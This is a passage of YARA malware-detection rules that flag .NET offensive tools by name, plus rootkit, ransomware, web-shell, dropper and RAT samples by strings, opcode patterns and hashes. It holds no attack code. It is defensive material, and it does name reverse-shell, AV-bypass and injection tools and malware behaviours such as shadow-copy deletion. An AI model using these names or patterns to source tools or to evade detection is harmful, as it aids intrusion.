		id = "efacc12b-92b3-5b22-b5bb-cd5a7d7eea0e"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/NyaMeeEain/Infrastructure-Assessment"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L603-L616"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7b2f1481c2880b5b3ee158f2a526ab7fc5e587bbf3847ebe9ddf447742109a78"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "Infrastructure-Assessment" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Gray_Hat_Csharp_Code : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "0a94cadc-cc7b-5817-8788-bb1e53937fad"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/brandonprry/gray_hat_csharp_code"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L633-L646"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "4520528cd6b1832c97fa79442f9d448d54bad4e6944984fa6e71f34246259e28"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "gray_hat_csharp_code" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Nativepayload_Reverseshell : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "eec77c09-02db-5d74-8526-e201d2fe6fc8"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/DamonMohammadbagher/NativePayload_ReverseShell"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L648-L661"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "79ebde95674d76e58938b06a97cb6c65e6ac0606398fc9c30d90e517bbdd62a8"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "NativePayload_ReverseShell" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Dotnetavbypass : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "918eba2b-150d-5e69-bed0-0979ae889165"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/mandreko/DotNetAVBypass"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L663-L676"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "574a5f1bc1873321042e932ddfd53853e8e06dff3b25f2ad41e6b8aaf150a8b2"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "DotNetAVBypass" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Hexyrunner : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "67741b4d-7336-5c88-8f2c-e48c10b187b9"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/bao7uo/HexyRunner"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L678-L691"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c55be1fe285358378a98fd1027650dd20dd8cd0aad4dc062df7a0d4538c78c3b"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "HexyRunner" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Sharpoffensiveshell : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "f223fb95-9f16-5504-a6ce-de9d75b38eaa"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/darkr4y/SharpOffensiveShell"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L693-L706"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "36bcae7817eed375e48822a49e6875295ea1037217231a7f9ae88a9b8af95530"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "SharpOffensiveShell" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Reconness : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "a30188e4-d96a-59d0-9f51-d7a7e07b14ba"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/reconness/reconness"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L708-L721"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9cb7a3522bada1c724999058ec4ddfde09b22166f8fb3ba184dfe6bec276cfc5"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "reconness" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Tvasion : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "324cddc6-36d9-5670-827e-24e80dcc66a9"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/loadenmb/tvasion"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L723-L736"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b6262f751cbb85e702d89e7c5b4efdc8eaf3085101cd7685218ab1e8a2599385"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "tvasion" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Ibombshell : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "02f3272f-8e75-5df4-9052-a315ae202050"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/Telefonica/ibombshell"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L738-L751"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "30de65328e2e2230eca3a30490e20c2c6d8ac9bdc835ee15d44300a00b801921"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "ibombshell" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Remoteprocessinjection : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "f1698cf2-211a-551a-8bc4-4faefcc6106f"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/Mr-Un1k0d3r/RemoteProcessInjection"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L753-L766"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "87d803c361462877f5ebba2a70f611c95b8684fe9f9f747ccf9643fc4e97d9df"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "RemoteProcessInjection" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_CACTUSTORCH : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "7b1e3015-fada-592c-b120-20aa12247d32"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/mdsecactivebreach/CACTUSTORCH"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L768-L781"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "51a125a44b5d1e73509bcd29865b26f44a5ee53f6907ee9abffa3eef1bbbdea8"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "CACTUSTORCH" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Pandasniper : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "006400fb-7e6d-563b-ba78-17937983c9ba"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/QAX-A-Team/PandaSniper"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L783-L796"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c5a32f22a429777186d88f3fcfa79ad4d971e86ebd6117df74aae19728c6addd"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "PandaSniper" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Xbapappwhitelistbypasspoc : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "b05253ce-cba4-531d-8f39-d8fae71b114d"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/jpginc/xbapAppWhitelistBypassPOC"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L798-L811"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3c79b70d3a72084dff391ba297518c4fe748d35b794278c4edf2d1faa4bd216e"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "xbapAppWhitelistBypassPOC" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Stagestrike : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "e3f9de04-87f6-5b07-b5b0-a26167937fcc"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/RedXRanger/StageStrike"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L813-L826"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "99abc2fee732f27ea94c8ce244dc1742ed01a7753adedd7e80226d1e1c8dee4a"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "StageStrike" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_MAL_LNX_Linadoor_Rootkit_May22 : FILE
{
	meta:
		description = "Detects LinaDoor Linux Rootkit"
		author = "Florian Roth"
		id = "e2f250b4-9a8a-5d70-83d7-5d12ad3763fb"
		date = "2022-05-19"
		modified = "2023-05-16"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_lnx_linadoor_rootkit.yar#L2-L37"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "546c34d4c204c7266884bb3b5b6ada418e83029ab88f72e5ffb094f50d9ed28e"
		score = 85
		quality = 85
		tags = "FILE"
		hash1 = "25ff1efe36eb15f8e19411886217d4c9ec30b42dca072b1bf22f041a04049cd9"
		hash2 = "4792e22d4c9996af1cb58ed54fee921a7a9fdd19f7a5e7f268b6793cdd1ab4e7"
		hash3 = "9067230a0be61347c0cf5c676580fc4f7c8580fc87c932078ad0c3f425300fb7"
		hash4 = "940b79dc25d1988dabd643e879d18e5e47e25d0bb61c1f382f9c7a6c545bfcff"
		hash5 = "a1df5b7e4181c8c1c39de976bbf6601a91cde23134deda25703bc6d9cb499044"
		hash6 = "c4eea99658cd82d48aaddaec4781ce0c893de42b33376b6c60a949008a3efb27"
		hash7 = "c5651add0c7db3bbfe0bbffe4eafe9cd5aa254d99be7e3404a2054d6e07d20e7"
	strings:
		$s1 = "/dev/net/.../rootkit_/" ascii
		$s2 = "did_exec" ascii fullword
		$s3 = "rh_reserved_tp_target" ascii fullword
		$s4 = "HIDDEN_SERVICES" ascii fullword
		$s5 = "bypass_udp_ports" ascii fullword
		$s6 = "DoBypassIP" ascii fullword
		$op1 = { 74 2a 4c 89 ef e8 00 00 00 00 48 89 da 4c 29 e2 48 01 c2 31 c0 4c 39 f2 }
		$op2 = { e8 00 00 00 00 48 89 da 4c 29 e2 48 01 c2 31 c0 4c 39 f2 48 0f 46 c3 5b }
		$op3 = { 48 89 c3 74 2a 4c 89 ef e8 00 00 00 00 48 89 da 4c 29 e2 48 01 c2 31 c0 }
		$op4 = { 4c 29 e2 48 01 c2 31 c0 4c 39 f2 48 0f 46 c3 5b 41 5c 41 5d }
		$fp1 = "/wgsyncdaemon.pid"
	condition:
		uint16( 0 ) == 0x457f and filesize < 2000KB and 2 of them and not 1 of ( $fp* ) or 4 of them
}


rule SIGNATURE_BASE_MAL_RANSOM_INC_Aug24 : FILE
{
	meta:
		description = "Detects INC ransomware and it's variants like Lynx"
		author = "X__Junior"
		id = "b776490b-f26a-55d9-bb26-ec3c617f070c"
		date = "2024-08-08"
		modified = "2024-12-12"
		reference = "https://twitter.com/rivitna2/status/1701739812733014313"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_inc_ransomware.yar#L1-L30"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "335b92027c551d074015b830d137cf2fdee81d792cd7360f2499c83cc895fbbb"
		score = 80
		quality = 85
		tags = "FILE"
		hash1 = "eaa0e773eb593b0046452f420b6db8a47178c09e6db0fa68f6a2d42c3f48e3bc"
		hash2 = "1754c9973bac8260412e5ec34bf5156f5bb157aa797f95ff4fc905439b74357a"
	strings:
		$s1 = "tarting full encryption in" wide
		$s2 = "oad hidden drives" wide
		$s3 = "ending note to printers" ascii
		$s4 = "uccessfully delete shadow copies from %c:/" wide
		$op1 = { 33 C9 03 C6 83 C0 02 0F 92 C1 F7 D9 0B C8 51 E8 }
		$op2 = { 8B 44 24 [1-4] 6A 00 50 FF 35 ?? ?? ?? ?? 50 FF 15}
		$op3 = { 57 50 8D 45 ?? C7 45 ?? 00 00 00 00 50 6A 00 6A 00 6A 02 6A 00 6A 02 C7 45 ?? 00 00 00 00 FF D6 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 04 8B F8 8D 45 ?? 50 8D 45 ?? 50 FF 75 ?? 57 6A 02 6A 00 6A 02 FF D6 }
		$op4 = { 6A FF 8D 4? ?? 5? 8D 4? ?? 5? 8D 4? ?? 5? 5? FF 15 ?? ?? ?? ?? 85 C0 }
		$op5 = { 56 6A 00 68 01 00 10 00 FF 15 ?? ?? ?? ?? 8B F0 83 FE FF 74 ?? 6A 00 56 FF 15 ?? ?? ?? ?? 68 88 13 00 00 56 FF 15 ?? ?? ?? ?? 56 FF 15}
	condition:
		uint16( 0 ) == 0x5A4D and ( 3 of ( $s* ) or 3 of ( $op* ) or ( 2 of ( $s* ) and 2 of ( $op* ) ) )
}


rule SIGNATURE_BASE_APT_Webshell_SUPERNOVA_2 : FILE
{
	meta:
		description = "This rule is looking for specific strings related to SUPERNOVA. SUPERNOVA is a .NET web shell backdoor masquerading as a legitimate SolarWinds web service handler. SUPERNOVA inspects and responds to HTTP requests with the appropriate HTTP query strings, Cookies, and/or HTML form values (e.g. named codes, class, method, and args)."
		author = "FireEye"
		id = "c39bf9ba-fd62-5619-92b6-1633375ef197"
		date = "2020-12-14"
		modified = "2023-12-05"
		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_solarwinds_sunburst.yar#L100-L118"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "96e344bd2ba3ee07784852db3e9935352762c2fa7b6be88f00cac10a90706ffc"
		score = 85
		quality = 83
		tags = "FILE"
	strings:
		$dynamic = "DynamicRun"
		$solar = "Solarwinds" nocase
		$string1 = "codes"
		$string2 = "clazz"
		$string3 = "method"
		$string4 = "args"
	condition:
		uint16( 0 ) == 0x5a4d and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 10KB and 3 of ( $string* ) and $dynamic and $solar
}

rule SIGNATURE_BASE_APT_Dropper_Win64_TEARDROP_1 : FILE
{
	meta:
		description = "This rule is intended match specific sequences of opcode found within TEARDROP, including those that decode the embedded payload. TEARDROP is a memory only dropper that can read files and registry keys, XOR decode an embedded payload, and load the payload into memory. TEARDROP persists as a Windows service and has been observed dropping Cobalt Strike BEACON into memory. (comment by Nextron: prone to False Positives)"
		author = "FireEye"
		id = "15dfdb74-5ca3-5bc6-be7a-730333b03ba5"
		date = "2020-12-14"
		modified = "2023-12-05"
		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_solarwinds_sunburst.yar#L157-L174"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a1fa9b9c700601d10cb77ec714b972f04308de615dfc519f680fc956227cc11d"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$loc_4218FE24A5 = { 48 89 C8 45 0F B6 4C 0A 30 }
		$loc_4218FE36CA = { 48 C1 E0 04 83 C3 01 48 01 E8 8B 48 28 8B 50 30 44 8B 40 2C 48 01 F1 4C 01 FA }
		$loc_4218FE2747 = { C6 05 ?? ?? ?? ?? 6A C6 05 ?? ?? ?? ?? 70 C6 05 ?? ?? ?? ?? 65 C6 05 ?? ?? ?? ?? 67 }
		$loc_5551D725A0 = { 48 89 C8 45 0F B6 4C 0A 30 48 89 CE 44 89 CF 48 F7 E3 48 C1 EA 05 48 8D 04 92 48 8D 04 42 48 C1 E0 04 48 29 C6 }
		$loc_5551D726F6 = { 53 4F 46 54 57 41 52 45 ?? ?? ?? ?? 66 74 5C 43 ?? ?? ?? ?? 00 }
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_Crime_Win32_Parallax_Loader_1 : FILE
{
	meta:
		description = "Detects Parallax Loader"
		author = "@VK_Intel"
		id = "5e030b68-3c29-5203-bb4e-f01850bfbbab"
		date = "2020-02-24"
		modified = "2023-12-05"
		reference = "https://twitter.com/VK_Intel/status/1227976106227224578"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_parallax_rat.yar#L2-L18"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1331e7b69fd9b14b5d2dae45b452b385e48018290d91de33a4f4a5ebcce4805b"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "829fce14ac8b9ad293076c16a1750502c6b303123c9bd0fb17c1772330577d65"
	strings:
		$main_call = { 68 81 85 50 00 e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 51 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 68 00 10 00 00 68 b0 a2 00 00 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 68 8c e1 4f 00 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 83 c4 0c 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 68 40 84 50 00 8d ?? ?? ?? ?? ?? 51 e8 ?? ?? ?? ?? 83 c4 0c}
		$decoder_call = { 55 8b ec 83 c4 f8 33 c0 89 ?? ?? 33 d2 89 ?? ?? 8b ?? ?? 3b ?? ?? 7d ?? 8b ?? ?? 8b ?? ?? 8b ?? ?? 8b ?? ?? 33 ?? ?? ?? ?? ?? ?? 8b ?? ?? 8b ?? ?? 89 ?? ?? 83 ?? ?? ?? 75 ?? 33 d2 89 ?? ?? eb ?? ff ?? ?? ff ?? ?? 8b ?? ?? 3b ?? ?? 7c ?? 59 59 5d c3}
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 2 of them
}

rule SIGNATURE_BASE_Crime_Win32_Parallax_Payload_1 : FILE
{
	meta:
		description = "Detects Parallax Injected Payload v1.01"
		author = "@VK_Intel"
		id = "f3a23a28-e322-59ff-85e0-72e44def5c02"
		date = "2020-02-24"
		modified = "2023-12-05"
		reference = "https://twitter.com/VK_Intel/status/1227976106227224578"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_parallax_rat.yar#L20-L38"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3a1718d7caea5bd6741dd39fc16f955e1d3c73a282d51eda5b63c3352404529e"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "20d0be64a0e0c2e96729143d41b334603f5d3af3838a458b0627af390ae33fbc"
	strings:
		$zwdelay_prologue = { 66 ?? ?? ?? 66 83 c1 01 66 ?? ?? ?? 50 b8 cb cb cb cb 89 ?? ?? ?? ?? ?? 58 8b ?? ?? ?? ?? ?? 89 ?? ?? 68 88 13 00 00 8b ?? ?? 8b ?? ?? 51 e8 ?? ?? ?? ??}
		$wininet_call = { b8 77 00 00 00 66 ?? ?? ?? b9 69 00 00 00 66 ?? ?? ?? ba 6e 00 00 00 66 ?? ?? ?? b8 69 00 00 00 66 ?? ?? ?? b9 6e 00 00 00 66 ?? ?? ?? ba 65 00 00 00 66 ?? ?? ?? b8 74 00 00 00 66 ?? ?? ?? 33 c9 66 ?? ?? ?? 8d ?? ?? 52 8b ?? ?? 8b ?? ?? ff d1 89 ?? ?? 6a 00 68 0c fc e5 f2 8b ?? ?? 52 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 3d a8 16 da 8b ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 e0 05 65 01 8b ?? ?? 51 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 f5 98 c0 6c 8b ?? ?? 52 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 24 1d 19 e5 8b ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 a8 ed f2 ce 8b ?? ?? 8b ?? ?? 52 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 6a 00 ff ?? ?? 85 c0 75 ?? 68 88 13 00 00 ff ?? ?? eb ?? 6a 00 68 00 01 00 04 6a }
		$rand_png_call = { b8 25 00 00 00 66 ?? ?? ?? ?? ?? ?? b9 78 00 00 00 66 ?? ?? ?? ?? ?? ?? ba 2e 00 00 00 66 ?? ?? ?? ?? ?? ?? b8 70 00 00 00 66 ?? ?? ?? ?? ?? ?? b9 6e 00 00 00 66 ?? ?? ?? ?? ?? ?? ba 67 00 00 00 66 ?? ?? ?? ?? ?? ?? 33 c0 66 ?? ?? ?? ?? ?? ?? 6a 64 6a 40 8b ?? ?? 8b ?? ?? ff d2 89 ?? ?? 8b ?? ?? 50 68 00 e1 f5 05 68 10 27 00 00 e8 ?? ?? ?? ??}
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 2 of them
}

rule SIGNATURE_BASE_EXPL_Keepass_CVE_2023_24055_Jan23 : CVE_2023_24055 FILE
{
	meta:
		description = "Detects suspicious entries in the Keepass configuration file, which could be indicator of the exploitation of CVE-2023-24055"
		author = "Florian Roth (Nextron Systems)"
		id = "2c031919-da19-5fd0-b21a-2e83679ad1e3"
		date = "2023-01-25"
		modified = "2023-12-05"
		reference = "https://github.com/alt3kx/CVE-2023-24055_PoC"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_keepass_cve_2023_24055.yar#L2-L20"
